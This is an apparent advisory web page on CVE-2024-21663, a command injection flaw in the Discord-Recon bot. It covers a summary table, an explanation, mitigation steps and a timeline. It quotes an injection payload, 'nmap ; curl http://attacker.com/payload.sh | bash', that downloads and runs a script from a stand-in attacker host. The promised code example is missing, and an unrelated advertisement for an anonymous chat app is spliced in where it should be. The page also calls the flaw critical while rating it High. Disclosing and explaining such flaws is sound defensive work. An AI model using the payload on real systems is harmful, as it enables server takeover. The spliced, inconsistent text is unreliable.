Overview
CVE-2024-21663 is a critical remote code execution (RCE) vulnerability discovered in Discord-Recon, a Discord bot designed for automated bug bounty reconnaissance. This flaw allows attackers to execute arbitrary shell commands on the server hosting the bot, without requiring administrative privileges.
Given that Discord-Recon interacts with user-supplied inputs through Discord messages, this vulnerability presents a serious risk to any environment where the bot is deployed without sufficient input sanitization or privilege boundaries.
Vulnerability Summary
| Field | Detail |
|---|---|
| CVE ID | CVE-2024-21663 |
| Severity | High (CVSS Score: 8.8) |
| Attack Vector | Remote |
| Privileges Required | None |
| User Interaction | None |
| Impact | Remote Code Execution |
Affected Products
| Product | Affected Versions |
|---|---|
| Discord-Recon | Versions prior to 0.0.8 |
How the Exploit Works
The vulnerability arises from unsanitized command execution in Discord-Recon’s processing of user input. When the bot receives a message, it may pass input directly into a shell command via Node.js’s child_process.exec() or Python’s os.system()/subprocess methods, depending on implementation.
An attacker can craft a message containing shell metacharacters (e.g., ;, &&, |) to break out of the intended command and execute arbitrary code on the server.
Conceptual Code Example
Below is a conceptual example of vulnerable code within a Node.js implementation of Discord-Recon:
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
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- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Malicious input example from Discord:
This input causes the bot to execute the entire payload: nmap ; curl http://attacker.com/payload.sh | bash, resulting in full code execution on the host.
Recommendations for Mitigation
To mitigate CVE-2024-21663:
-
Upgrade to Discord-Recon v0.0.8 or Later
The issue is patched in this release, which includes proper input sanitization and command execution safeguards. -
Never Trust User Input
Always sanitize or whitelist inputs before passing them to shell commands or subprocesses. -
Avoid
exec()When Possible
Use safer alternatives like spawning subprocesses with argument arrays (spawn,execFile) to avoid shell injection. -
Restrict Bot Permissions
Run the bot with minimal privileges and in a sandboxed environment (e.g., Docker). -
Log and Monitor Bot Behavior
Enable logging and monitor for unusual outbound connections or command activity.
Timeline and Response
-
Reported: January 9, 2024
-
Patched Release: January 10, 2024 (v0.0.8)
-
Public Disclosure: January 12, 2024
Closing Thoughts
CVE-2024-21663 highlights the persistent risks associated with command injection vulnerabilities in automation tools and bots. Security hygiene—especially input sanitization and permission scoping—is essential in environments where bots process untrusted user inputs.